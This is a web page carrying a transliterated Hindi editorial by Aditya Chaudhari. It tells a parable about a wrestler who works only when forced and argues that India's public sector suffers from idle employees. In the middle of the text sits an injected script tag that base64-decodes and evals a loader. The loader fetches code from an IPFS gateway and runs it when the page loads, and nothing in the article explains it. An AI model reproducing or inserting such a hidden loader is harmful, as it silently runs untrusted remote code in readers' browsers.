चौकोर फ़ुटबॉल -आदित्य चौधरी

50px|right|link=| 20px|link=http://www.facebook.com/bharatdiscovery|fesabuk par bharatakosh (nee shuruat) bharatakosh 20px|link=http://www.facebook.com/profile.php?id=100000418727453|fesabuk par adity chaudhari adity chaudhari chaukor futab aaul -adity chaudhari 250px|right         purane zamane ki bat hai, ek gaanv se hokar ek vyapari seth ki mal asabab se ladi bailaga di guzar rahi thi. raste mean barasat ke karan gahara gaddha tha jisamean ga di phans gee. char-char adamiyoan ki kafi koshish ke bad bhi ga di nikali n ja saki. pas hi ek dukan ke patte par chhote pahalavan bhi baitha tha aur yah sab dekh raha tha. dukanadar ne seth ji se kaha- "seth ji ap chhote pahalavan se agar kah dean to apaki ga di par nikal jaegi." seth ji ne chhote pahalavan se ga di nikalane kaha. pahalavan ne charoan logoan ko hata diya aur akele hi kandhe ke sahare se b de asani se ga di ko gaddhe se nikal diya. "bhee ye to kamal ho gaya... pahalavan to b de taqatavar haian.... ap karate kya haian pahalavan ji ?" seth ji ne poochha "aji karate to kuchh nahian haian... ajakal bilkul khali haian... bahut bhale aur sharif adami haian ... lathi chalane mean to itane mahir haian ki bis-bis adami bhi inaka kuchh nahian biga d sakate " dukanadar ne pahalavan ki taraf se javab diya. pahalavan chupachap vapas vahian jakar baith gaya jahaan pahale baitha tha aur chehare par laparavahi ke bhav lakar batoan ko anasuni jaisi karane laga. ab to seth ji ki dilachaspi chhote pahalavan mean aur badh gee- "maian shaharoan aur gaanvo mean apane vyapar ke karan ghoomata rahata hooan... aksar rat mean bhi safar karana p data hai… agar ye pahalavan safar mean mere sath rahega to chor-dakuoan ka khatara nahian rahega" seth ne man hi man socha aur pahalavan ko apane sath chalane ko razi kar liya. chitr:Blockquote-open.gif tin tarah ke vyakti hote haian. pahale ve jo zaroorat ko dekhate hue bina kahe hi kam karate haian, doosare ve jo kahane se kam kar dete haian aur tisare ve jo kahane se bhi kam nahian karate balki unako kisi paristhiti mean phansakar hi kam 'karaya' ja sakata hai. ye duniya jitani bhi taraqqi kar rahi hai vah pahali shreni vale logoan ke karan kar rahi hai aur duniya mean vyavastha sanbhalane ka zimma unaka hai jo doosari shreni ke log haian, ab rah jate haian tisari shreni ke log... to ap khud hi soch sakate haian ki ve kis shreni mean ate haian. ye log hote haian chaukor futab aaul. chitr:Blockquote-close.gif <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>         chhote pahalavan ki to mauj a gee. achchha khana-pina milane laga to pahalavan ki sehat aur achchhi ho gee. seth bhi bekhatake apani vyaparik yatraean karane laga. ek din sham ke jhutapute mean seth ki ga di ko kuchh luteroan ne gher liya aur ga di ko loot liya. seth ne dekha ki is poore hadase mean pahalavan kuchh nahian bola aur ek taraf ja kar baith gaya. jab seth ka sara mal lootakar aur seth ji ki achchhi pitaee karane ke bad vahaan se chalane lage to seth ne luteroan ko roka aur kaha- "bhaiyoan ! tumane mujhe loot liya aur pitaee bhi ki lekin maian tumako ye hire ki aangoothi dena chahata hooan jo maianne chhupa ke rakhi huee thi aur tum logoan ki nigah mean nahian aee. lekin isake badale mean, maian tumase kuchh chahata hooan." "kya ?" luteroan ke mukhiya ne poochha "vo jo pahalavan baitha hai n pe d ke niche usamean halke se sirf ek lathi mar do." luteroan ke mukhiya ne jaise hi chhote pahalavan ko marane ke lie lathi uthaee, pahalavan ne lathi chhinakar jo danadan lathi chalaee to sare lutere dher kar die. seth ji ka sara saman vapas mil gaya.         apane ghar vapas lautakar seth ji ne chhote pahalavan se kaha- "pahalavan ye lo apane hisab ke paise... ab tum apane ghar jao... maian tumhean nahian rakh sakata... karan ye hai ki pahale to maian pitooan... phir lutooan... phir ek hire ki aangoothi dooan...phir tumako pitavaooan... tab kahian jakar tumako hosh aega aur tum mujhe bachaoge... to bhaiya tum apane ghar aur ham apane ghar bhale.... chalie vapas chalate haian-         tin tarah ke vyakti hote haian. pahale ve jo zaroorat ko dekhate hue bina kahe hi kam karate haian, doosare ve jo kahane se kam kar dete haian aur tisare ve jo kahane se bhi kam nahian karate balki unako kisi paristhiti mean phansakar hi kam 'karaya' ja sakata hai. ye duniya jitani bhi taraqqi kar rahi hai vah pahali shreni vale logoan ke karan kar rahi hai aur duniya mean vyavastha sanbhalane ka zimma unaka hai jo doosari shreni ke log haian, ab rah jate haian tisari shreni ke log... to ap khud hi soch sakate haian ki ve kis shreni mean ate haian. ye log hote haian chaukor futab aaul. jitana lat maroge utana hi sarakegi; gol futab aaul ki tarah nahian ki ek kik lagate hi ye ja-vo ja...         sarvajanik kshetr mean kis tarah se kam hota hai yah to ap janate hi haian. dakakhana, bijalighar, sarakari aspatal adi mean chale jayean to lagata hai jaise duniya ruk si gee hai. niji kshetr mean bhi jinhoanne anubhav kie haian ve kafi dilachasp haian. kisi bhi pratishthan mean 10 mean se 2 vyakti hi karmath hote haian. ye do vyakti ve hote haian jinake bal par kampaniyaan pragati karati haian, vikas karati haian.         kam ke bare mean kuchh mashahoor hastiyoan ke uddharan- aisa kam chuno jise tum pyar karate ho, isake bad tumhean ziandagi bhar 'kam' karane ki zaroorat nahian p degi- kanfyooshas (kyoanki yah kam tumhara prem hoga aur prem koee 'kary' nahian hota) kisi aise adami ko naukari mat do jo apana kam paise ke lie karata hai, balki use naukari do jo apane kam se muhabbat karata hai- henari devid thoro sath ju dana ek shurooat hai; sath rahana pragati hai aur sath kam karana hi saphalata hai- henari ford         jab ek buddhiman aur honahar vyakti kisi pratishthan mean naukari karata hai to usaka kam karane ka tariqa samany vyaktiyoan se alag hota hai. vah janata hai ki yadi use vikas karana hai to kampani ki pragati bhi zaroori hai aur vah bina bhavukata ke sochi samajhi rananiti ke sath apane kam ko zimmedari se karata hai. sidhi si bat hai agar hamean mahattvapoorn banana hai to hamean us pratishthan ki anivary zaroorat ke roop mean khud ko sabit karana hoga. yahaan par yah bhi dhyan dene yogy hai ki koee bhi pratishthan kisi karmachari ko bhavukata ke dharatal par nahian rakhata isalie karmachariyoan ka bhi pratishthan ke prati bhavuk prem nirarthak hi hai.         150 karo d ki abadi ko chhoone ko taiyar hamare desh mean kee partiyoan ki sarakarean banian, kabhi spasht bahumat se to kabhi mili juli lekin sarvajanik kshetr ko achchhi tarah sanbhalane mean kabhi bhi, koee bhi sarakar saphal nahian rahi. kya ye lokatantr ki majaboori hai ? kya prajataantrik dhaanche mean chal rahe desh isi prakar ki samasyaoan se joojhate rahate haian ? kya uttar hai in batoan ka ? asal mean sarakari naukariyoan ki duniya hi alag hai jahaan karmathata aur akarmanyata mean koee ullekhaniy bhed nahian hai. n jane kyoan sarvajanik kshetr mean karmachariyoan ke nishkriy aur akarmany hone par bhi kisi prakar ke gambhir dand ka pravadhan nahian hai. isi karan sarvajanik kshetr niji kshetr se pichh date jate haian. is saptah itana hi... agale saptah kuchh aur... -adity chaudhari sansthapak evan pradhan sampadak

pichhale sampadakiy

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